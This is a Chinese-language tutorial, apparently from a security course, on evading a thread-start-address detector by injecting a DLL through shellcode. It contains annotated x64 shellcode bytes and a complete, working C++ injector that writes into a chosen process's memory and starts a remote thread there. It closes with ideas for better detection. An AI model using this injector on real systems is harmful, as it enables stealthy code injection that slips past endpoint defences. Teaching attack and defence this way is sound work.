阅读时间: 3-4 分钟
前置知识: 理解进程注入和防御检测原理、汇编基础
学习目标: 掌握 Shellcode 注入技术,理解攻防对抗思路


📺 配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1ktxXzNEVR/


🎯 道高一尺,魔高一丈

防御者的困境

上节课我们学会了检测远程线程注入,核心思路非常简单:抓住线程起始地址 = LoadLibrary 这个特征

但攻防对抗永远是螺旋上升的:

  • ⚔️ 防御者刚亮出检测手段
  • 🛡️ 攻击者已经在思考破解之道

这节课我们切换到攻击者视角,看看如何绕过这个检测。

检测的致命缺陷

让我们冷静分析这个检测方案的弱点:

检测逻辑:线程起始地址 == LoadLibrary?
          ↓
        是 → 告警
        否 → 放行

问题在哪?

  • ✅ 它只检测了线程的起始地址
  • ❌ 但完全不管线程后续执行了什么

这就像门卫只看你进门时的身份证,却不管你进门后干什么——这个漏洞太大了!


🔓 攻击者的两条破解路径

利用这个缺陷,攻击者有两个清晰的绕过方向:

方向 1:Shellcode 中转(本节重点)

核心思路: 不直接用 LoadLibrary 作为起始地址

传统注入流程:
CreateRemoteThread → LoadLibrary (起始地址) → 加载 DLL
                      ↑
                    被检测到!

绕过后的流程:
CreateRemoteThread → Shellcode (起始地址) → 调用 LoadLibrary → 加载 DLL
                      ↑                        ↑
                  看起来正常              真正的恶意行为

实现步骤:

  1. 先创建线程指向一段 shellcode(自定义的机器码)
  2. 在 shellcode 中再调用 LoadLibrary
  3. 线程起始地址是普通内存区域,不是 LoadLibrary

方向 2:不创建新线程(后续课程)

核心思路: 完全避开线程创建这个检测点

常见技术:

  • APC 注入:利用现有线程的 APC 队列执行代码
  • 线程上下文劫持:直接修改现有线程的执行指针(RIP/EIP)
  • 线程池劫持:利用系统线程池执行恶意代码

这些方法不创建新线程,因此检测工具根本抓不到”可疑的线程起始地址”。


📚 本节学习重点

这节课我们专注于方向 1:使用 Shellcode 中转,这是理解后续高级技术的基础。


什么是 Shellcode?

Shellcode 是一段可以直接在内存中执行的机器码

核心区别在哪?

正常程序:

  • 双击 program.exe → Windows 加载 PE 文件 → 解析导入表 → 加载 DLL → 跳转入口点
  • 有身份:系统知道它是谁,从哪来
  • 防御软件可以监控这些步骤

Shellcode:

  • 把字节数组写入内存 → 线程直接跳到这个地址执行
  • 无身份:就是一堆字节,系统只知道”这里有代码”
  • 没有文件,没有加载器,没有 PE 格式

这就是为什么 shellcode 能绕过很多检测!


代码实操

原理讲完了
咱们来直接看代码

从 main 函数开始

int main() {
    printf("=== Shellcode 注入 - 绕过线程起始地址检测 ===nn");

    DWORD targetPid = 42148;
    const char* dllPath = "C:\Injection.dll";

    InjectDllWithShellcode(targetPid, dllPath);

    system("pause");
    return 0;
}

很简单
指定目标进程 PID
指定 DLL 路径
调用注入函数

注入函数四步走

InjectDllWithShellcode 分四步:

  1. 打开目标进程
  2. 准备 shellcode 和参数
  3. 在目标进程分配内存并写入
  4. 创建远程线程执行 shellcode

下面逐步讲解

开始前:准备 Shellcode 机器码

先定义两个东西

参数结构体:

struct ShellcodeData {
    LPVOID pLoadLibraryA;      // LoadLibraryA 函数地址
    char dllPath[MAX_PATH];    // DLL 完整路径
};

这个结构体是 Shellcode 的”参数包”
前 8 字节放函数地址
后面放 DLL 路径字符串
Shellcode 会从这里读取需要的信息

Shellcode 字节数组:

unsigned char g_Shellcode[] = {
    0x48, 0x8B, 0x01,              // mov rax, [rcx]
    0x48, 0x8D, 0x49, 0x08,        // lea rcx, [rcx + 8]
    0x48, 0x83, 0xEC, 0x28,        // sub rsp, 0x28
    0xFF, 0xD0,                    // call rax
    0x48, 0x83, 0xC4, 0x28,        // add rsp, 0x28
    0xC3                           // ret
};

重点理解这段机器码:

这些十六进制数字就是 CPU 能直接执行的指令
不需要编译
不需要加载
写进内存就能跑

让我们逐行解释:

第1行: 0x48, 0x8B, 0x01mov rax, [rcx]

  • RCX 寄存器存着参数地址(也就是 ShellcodeData 结构体的地址)
  • 从这个地址读取前 8 个字节(LoadLibraryA 的地址)
  • 放到 RAX 寄存器里

第2行: 0x48, 0x8D, 0x49, 0x08lea rcx, [rcx + 8]

  • 结构体前 8 字节是函数指针
  • 后面才是 DLL 路径字符串
  • 所以 RCX + 8 就指向了 DLL 路径
  • 这个地址会作为参数传给 LoadLibraryA

第3行: 0x48, 0x83, 0xEC, 0x28sub rsp, 0x28

  • 在栈上预留 40 字节
  • x64 调用约定的要求(前4个参数的备份空间 + 对齐)
  • 不分配这个空间会导致调用崩溃

第4行: 0xFF, 0xD0call rax

  • 调用 RAX 里的函数(也就是 LoadLibraryA)
  • 参数 RCX 已经指向了 DLL 路径

第5行: 0x48, 0x83, 0xC4, 0x28add rsp, 0x28

  • 恢复栈指针
  • 释放刚才预留的 40 字节

第6行: 0xC3ret

  • 返回到调用者

核心逻辑:

  1. 从结构体读取 LoadLibraryA 地址 → RAX
  2. 计算 DLL 路径地址 → RCX
  3. 调用 LoadLibraryA(RCX)
  4. 完成 DLL 加载

第一步:打开目标进程

关键 API:OpenProcess

BOOL InjectDllWithShellcode(DWORD dwProcessId, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (!hProcess) {
        printf("打开进程失败n");
        return FALSE;
    }
}

第二步:准备参数

关键 API:GetModuleHandleA / GetProcAddress

// 获取 LoadLibraryA 地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");

// 填充参数结构
ShellcodeData localData = { 0 };
localData.pLoadLibraryA = pLoadLibraryA;
strcpy_s(localData.dllPath, dllPath);

这步做两件事:

  1. 拿到 LoadLibraryA 的地址
  2. 把地址和 DLL 路径塞进结构体

第三步:在目标进程分配内存并写入

需要分配两块内存

3.1 写入 shellcode

关键 API:VirtualAllocEx / WriteProcessMemory

LPVOID pRemoteShellcode = VirtualAllocEx(
    hProcess,
    NULL,
    sizeof(g_Shellcode),
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE  // 可执行权限
);

WriteProcessMemory(hProcess, pRemoteShellcode, g_Shellcode, sizeof(g_Shellcode), NULL);

3.2 写入参数

LPVOID pRemoteData = VirtualAllocEx(
    hProcess,
    NULL,
    sizeof(ShellcodeData),
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

WriteProcessMemory(hProcess, pRemoteData, &localData, sizeof(ShellcodeData), NULL);

第一块放代码
第二块放参数


第四步:创建远程线程执行

关键 API:CreateRemoteThread

HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)pRemoteShellcode,  // 起始地址 = shellcode!
    pRemoteData,  // 参数 = shellcode 数据
    0,
    NULL
);

if (hThread) {
    printf("注入成功!线程起始地址: 0x%pn", pRemoteShellcode);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
}

CloseHandle(hProcess);
return TRUE;

关键在这:

  • 传统方式:我创建远程线程,起始地址直接指向 LoadLibrary,然后 DLL 路径作为参数传进去,一步到位加载 DLL
  • Shellcode 方式:我创建远程线程,起始地址指向 Shellcode,Shellcode 再去调用 LoadLibrary 加载 DLL

防御者检测:起始地址 ≠ LoadLibrary,检测失败!


完整绕过代码

#include <windows.h>
#include <cstdio>
#include <cstring>

/**
 * @brief Shellcode 使用的数据结构
 * @details 保存 LoadLibraryA 地址和目标 DLL 路径
 */
struct ShellcodeData {
    LPVOID pLoadLibraryA;      // LoadLibraryA 函数地址
    char dllPath[MAX_PATH];    // DLL 文件路径
};

/**
 * @brief x64 Shellcode 原始字节
 * @details 约定 RCX 指向 ShellcodeData
 */
unsigned char g_Shellcode[] = {
    0x48, 0x8B, 0x01,                  // mov rax, [rcx]
    0x48, 0x8D, 0x49, 0x08,            // lea rcx, [rcx + 8]
    0x48, 0x83, 0xEC, 0x28,            // sub rsp, 0x28
    0xFF, 0xD0,                        // call rax
    0x48, 0x83, 0xC4, 0x28,            // add rsp, 0x28
    0xC3                               // ret
};

BOOL InjectDllWithShellcode(DWORD dwProcessId, const char* dllPath) {
    // 第一步:打开目标进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (!hProcess) {
        printf("打开进程失败,错误码: %lun", GetLastError());
        return FALSE;
    }

    // 第二步:准备 shellcode
    // 2.1 获取 LoadLibraryA 地址
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    LPVOID pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");

    printf("LoadLibraryA 地址: 0x%pn", pLoadLibraryA);

    // 2.2 准备 shellcode 数据
    ShellcodeData localData = {};
    localData.pLoadLibraryA = pLoadLibraryA;
    strcpy_s(localData.dllPath, dllPath);

    // 第三步:在目标进程中分配内存
    // 3.1 分配 shellcode 内存
    LPVOID pRemoteShellcode = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(g_Shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE  // 可执行权限
    );

    // 3.2 分配参数结构体内存
    LPVOID pRemoteData = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(ShellcodeData),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    // 检查分配结果
    if (!pRemoteShellcode || !pRemoteData) {
        printf("分配内存失败n");
        if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        if (pRemoteData) VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // 3.3 写入 shellcode 和参数
    BOOL writeSuccess = TRUE;

    if (!WriteProcessMemory(hProcess, pRemoteShellcode, g_Shellcode, sizeof(g_Shellcode), NULL)) {
        printf("写入 shellcode 失败n");
        writeSuccess = FALSE;
    }

    if (!WriteProcessMemory(hProcess, pRemoteData, &localData, sizeof(ShellcodeData), NULL)) {
        printf("写入参数失败n");
        writeSuccess = FALSE;
    }

    if (!writeSuccess) {
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("Shellcode 写入地址: 0x%pn", pRemoteShellcode);
    printf("参数写入地址: 0x%pn", pRemoteData);

    // 第四步:创建远程线程执行 shellcode
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        reinterpret_cast<LPTHREAD_START_ROUTINE>(pRemoteShellcode),
        pRemoteData,
        0,
        NULL
    );

    if (!hThread) {
        printf("创建远程线程失败,错误码: %lun", GetLastError());
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("n=== 注入成功 ===n");
    printf("线程入口: 0x%p (触发 LoadLibrary)n", pRemoteShellcode);
    printf("参数地址: 0x%pn", pRemoteData);
    printf("绕过起始地址检测完成!n");

    //等待线程并释放资源
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return TRUE;
}

int main() {
    printf("=== Shellcode 注入 - 绕过线程起始地址检测 ===nn");

    DWORD targetPid = 0;
    printf("请输入目标进程 PID: ");
    scanf_s("%lu", &targetPid);

    const char* dllPath = "C:\Injection.dll";  // 根据实际情况修改

    InjectDllWithShellcode(targetPid, dllPath);

    system("pause");
    return 0;
}

绕过效果验证

运行 Shellcode 注入程序并同时运行防御者的检测程序:

成功绕过! 如图所示:

  • 左侧:Shellcode 注入程序成功运行,DLL 注入成功并弹出提示框
  • 右侧:检测程序正在扫描线程,但所有线程的起始地址都显示 [正常]
  • 即使 DLL 已成功注入,检测程序也无法识别可疑线程,成功绕过了检测!

对比传统注入:

传统注入:  线程 ID: 9999 起始地址: 0x76a41234 [可疑!] → 被检测到
Shellcode: 线程 ID: 9999 起始地址: 0x02A50000 [正常] → 绕过成功

但是,问题来了!

仔细观察会发现:依然出现了一个新线程!

这暴露了检测逻辑的致命弱点:

只检测 LoadLibrary 地址是片面的。真正的问题不是”起始地址是不是 LoadLibrary”,而是:

  • 为什么会突然出现新线程?
  • 谁创建了这个线程?
  • 正常程序会频繁创建远程线程吗?

更好的检测思路:直接检测可疑的新线程,不管起始地址是什么!


绕过的优缺点

优势:

  • ✅ 成功绕过基于起始地址的检测
  • ✅ 灵活性高,shellcode 可以做任何事

劣势:

  • ❌ 实现复杂,需要编写汇编
  • ❌ 本质没变,依然创建远程线程

防御者的反思

攻击者成功绕过了起始地址检测,但防御者不会就此放弃。

反思:

  • 为什么只检测 LoadLibrary 地址?
  • 难道攻击者换个地址我就检测不到了?
  • 应该检测的是”远程线程”本身,而不是起始地址!

新的检测方向:

  • 检测可疑的新线程
  • 分析线程的创建者
  • 检测线程的行为

下节课,我们将站在防御者角度,学习如何直接检测可疑线程!


互动讨论

欢迎在评论区讨论以下问题:

  1. 除了 Shellcode,你还能想到哪些方式绕过线程起始地址检测?
  2. 如果你是防御者,现在如何改进检测方案?
  3. 攻防对抗的本质是什么?

⚠️ 本课程内容仅供防御性安全研究与教学使用,请勿用于非法用途。

By UD2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注